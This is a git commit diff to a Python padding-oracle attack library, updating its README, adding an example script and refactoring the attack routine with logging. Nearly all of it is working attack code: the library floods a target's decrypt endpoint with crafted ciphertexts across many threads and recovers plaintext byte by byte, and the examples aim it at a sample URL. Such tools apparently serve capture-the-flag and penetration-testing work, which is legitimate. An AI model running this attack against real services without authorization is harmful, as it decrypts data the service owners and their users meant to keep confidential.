Add logging and example

Author: djosix

README.md

@@ -20,27 +20,22 @@ All you need is defining the **oracle function** to check whether the given ciph
 ```python
 #!/usr/bin/env python3
 
-import time, requests
-from padding_oracle import *  # also provide url encoding and base64 functions
+import requests, logging
+from padding_oracle import *
 
+url = 'http://some-website.com/decrypt'
 sess = requests.Session()
 
-cipher = b'[______IV______][____Cipher____]'  # decrypted plain text will be 16 bytes
+def oracle(cipher):
+    r = sess.post(url, data={'cipher': base64_encode(cipher)})
+    assert 'SUCCESS' in r.text or 'FAILED' in r.text
+    return 'SUCCESS' in r.text
+
+cipher = b'[______IV______][___Block_1____][___Block_2____]'
 block_size = 16
+num_threads = 64
+
+plaintext = padding_oracle(cipher, block_size, oracle, num_threads, log_level=logging.DEBUG)
 
-@padding_oracle(cipher, block_size, num_threads=64)
-def oracle(cipher):   # return True if the cipher can be correctly decrypted
-    while True:
-        try:
-            text = sess.get('https://example.com/decrypt',
-                            params={'cipher': base64_encode(cipher)}).text
-            assert 'YES' in text or 'NO' in text  # check if the request failed
-            break
-        except:
-            print('[!] request failed')
-            time.sleep(1)
-            continue
-    return 'YES' in text
-
-print(oracle)   # b'FLAG{XXXXXXXX}\x02\x02'
+print(remove_padding(plaintext).decode())
 ```

example.py

@@ -0,0 +1,19 @@
+import requests
+from padding_oracle import *
+
+url = 'http://some-website.com/decrypt'
+sess = requests.Session()
+
+def oracle(cipher):
+    r = sess.post(url, data={'cipher': base64_encode(cipher)})
+    assert 'SUCCESS' in r.text or 'FAILED' in r.text
+    return 'SUCCESS' in r.text
+
+num_threads = 64
+
+cipher = b'[______IV______][___Block_1____][___Block_2____]'
+block_size = 16
+
+plaintext = padding_oracle(cipher, block_size, oracle, num_threads)
+
+print(remove_padding(plaintext).decode())

padding_oracle.py

@@ -1,111 +1,144 @@
-import threading
-import types, typing
-import urllib.parse, base64
+import logging
+import base64
+import urllib.parse
 
+from typing import Union
 from concurrent.futures import ThreadPoolExecutor
 
 
-def base64_decode(s):
-    return base64.b64decode(s.encode())
+__all__ = [
+    'base64_encode', 'base64_decode',
+    'urlencode', 'urldecode',
+    'padding_oracle',
+    'remove_padding'
+]
 
-def base64_encode(b):
-    return base64.b64encode(b).decode()
 
-def urlencode(b):
-    return urllib.parse.quote(b)
+def _to_bytes(data: Union[str, bytes]):
+    if isinstance(data, str):
+        data = data.encode()
+    assert isinstance(data, bytes)
+    return data
 
-def urldecode(b):
-    return urllib.parse.unquote_plus(b)
+def _to_str(data):
+    if isinstance(data, bytes):
+        data = data.decode()
+    elif isinstance(data, str):
+        pass
+    else:
+        data = str(data)
+    return data
 
 
-def padding_oracle(cipher, block_size, oracle_threads=1, verbose=True):
-    def _execute(oracle):
-        
-        assert oracle is not None, \
-            'the oracle function is not implemented'
-        assert callable(oracle), \
-            'the oracle function should be callable'
-        assert oracle.__code__.co_argcount == 1, \
-            'expect oracle function with only 1 argument'
-        assert len(cipher) % block_size == 0, \
-            'cipher length should be multiple of block size'
-            
-        lock = threading.Lock()
-        oracle_executor = ThreadPoolExecutor(max_workers=oracle_threads)
-        plaintext = [b' '] * (len(cipher) - block_size)
-
-        def _update_plaintext(i: int, c: bytes):
-            lock.acquire()
-            plaintext[i] = c
-            if verbose:
-                print('[decrypted]', b''.join(plaintext))
-            lock.release()
-        
-        def _block_decrypt_task(i, prev_block: bytes, block: bytes):
-            # if verbose:
-            #     print('block[{}]: {}'.format(i, block))
+def base64_decode(data: Union[str, bytes]) -> bytes:
+    data = _to_bytes(data)
+    return base64.b64decode(data)
+
+def base64_encode(data: Union[str, bytes]) -> str:
+    data = _to_bytes(data)
+    return base64.b64encode(data).decode()
+
+def urlencode(data: Union[str, bytes]) -> str:
+    data = _to_bytes(data)
+    return urllib.parse.quote(data)
+
+def urldecode(data: str) -> bytes:
+    data = _to_str(data)
+    return urllib.parse.unquote_plus(data)
+
+def remove_padding(data: Union[str, bytes]):
+    data = _to_bytes(data)
+    return data[:-data[-1]]
+
 
-            guess_list = list(prev_block)
+
+
+def _dummy_oracle(cipher):
+    raise NotImplementedError('You must implement the oracle function')
+
+
+def padding_oracle(cipher,
+                   block_size,
+                   oracle=_dummy_oracle,
+                   num_threads=1,
+                   log_level=logging.INFO,
+                   null=b' '):
+    # Check the oracle function
+    assert callable(oracle), 'the oracle function should be callable'
+    assert oracle.__code__.co_argcount == 1, 'expect oracle function with only 1 argument'
+    assert len(cipher) % block_size == 0, 'cipher length should be multiple of block size'
+    
+    logger = logging.getLogger('padding_oracle')
+    logger.setLevel(log_level)
+    formatter = logging.Formatter('[%(asctime)s][%(levelname)s] %(message)s')
+    # formatter = logging.Formatter('[%(asctime)s][%(name)s][%(levelname)s] %(message)s')
+    handler = logging.StreamHandler()
+    handler.setFormatter(formatter)
+    logger.addHandler(handler)
+
+    # The plaintext bytes list to save the decrypted data
+    plaintext = [null] * (len(cipher) - block_size)
+
+    def _update_plaintext(i: int, c: bytes):
+        plaintext[i] = c
+        logger.info('plaintext: {}'.format(b''.join(plaintext)))
+
+    oracle_executor = ThreadPoolExecutor(max_workers=num_threads)
+    
+    def _block_decrypt_task(i, prev: bytes, block: bytes):
+        logger.debug('task={} prev={} block={}'.format(i, prev, block))
+        guess_list = list(prev)
+        
+        for j in range(1, block_size + 1):
+            oracle_hits = []
+            oracle_futures = {}
 
-            for j in range(1, block_size + 1):
-                oracle_hits = []
-                oracle_futures = {}
+            for k in range(256):
+                if i == len(blocks) - 1 and j == 1 and k == prev[-j]:
+                    # skip the last padding byte if it is identical to the original cipher
+                    continue
 
-                for k in range(256):
-                    # ensure the last padding byte is changed (or it will)
-                    if i == len(blocks) - 1 and j == 1 and k == prev_block[-j]:
-                        continue
-                    
-                    test_list = guess_list.copy()
-                    test_list[-j] = k
-                    oracle_futures[k] = oracle_executor.submit(
-                        oracle, bytes(test_list) + block)
-                    
-                    # if verbose:
-                    #     print('+', end='', flush=True)
-                
-                for k, future in oracle_futures.items():
-                    if future.result():
-                        oracle_hits.append(k)
-                if verbose:
-                    print('=> hits(block={}, pos=-{}):'.format(i, j), oracle_hits)
-                    
-                if len(oracle_hits) != 1:
-                    if verbose:
-                        print('[!] number of hits is not 1. (skipping this block)')
-                    return
-                
-                guess_list[-j] = oracle_hits[0]
-                
-                p = guess_list[-j] ^ j ^ prev_block[-j]
-                _update_plaintext(i * block_size - j, bytes([p]))
+                test_list = guess_list.copy()
+                test_list[-j] = k
+                oracle_futures[k] = oracle_executor.submit(oracle, bytes(test_list) + block)
+            
+            for k, future in oracle_futures.items():
+                if future.result():
+                    oracle_hits.append(k)
+            
+            logger.debug('oracles at block[{}][{}] -> {}'.format(i, block_size - j, oracle_hits))
 
-                for n in range(j):
-                    guess_list[-n-1] ^= j
-                    guess_list[-n-1] ^= j + 1
-        
-        blocks = []
-        
-        for i in range(0, len(cipher), block_size):
-            j = i + block_size
-            blocks.append(cipher[i:j])
-        
-        if verbose:
-            print('blocks: {}'.format(blocks))
-        
-        with ThreadPoolExecutor() as executor:
-            futures = []
-            for i in reversed(range(1, len(blocks))):
-                prev_block = b''.join(blocks[:i])
-                block = b''.join(blocks[i:i+1])
-                futures.append(
-                    executor.submit(
-                        _block_decrypt_task, i, prev_block, block))
-            for future in futures:
-                future.result()
-        
-        oracle_executor.shutdown()
-        
-        return b''.join(plaintext)
-        
-    return _execute
+            if len(oracle_hits) != 1:
+                logfmt = 'at block[{}][{}]: expect only one positive result, got {}. (skipped)'
+                logger.error(logfmt.format(i, block_size-j, len(oracle_hits)))
+                return
+            
+            guess_list[-j] = oracle_hits[0]
+            
+            p = guess_list[-j] ^ j ^ prev[-j]
+            _update_plaintext(i * block_size - j, bytes([p]))
+            
+            for n in range(j):
+                guess_list[-n-1] ^= j
+                guess_list[-n-1] ^= j + 1
+    
+    blocks = []
+    
+    for i in range(0, len(cipher), block_size):
+        j = i + block_size
+        blocks.append(cipher[i:j])
+    
+    logger.debug('blocks: {}'.format(blocks))
+    
+    with ThreadPoolExecutor() as executor:
+        futures = []
+        for i in reversed(range(1, len(blocks))):
+            prev = b''.join(blocks[:i])
+            block = b''.join(blocks[i:i+1])
+            futures.append(executor.submit(_block_decrypt_task, i, prev, block))
+        for future in futures:
+            future.result()
+    
+    oracle_executor.shutdown()
+    
+    return b''.join(plaintext)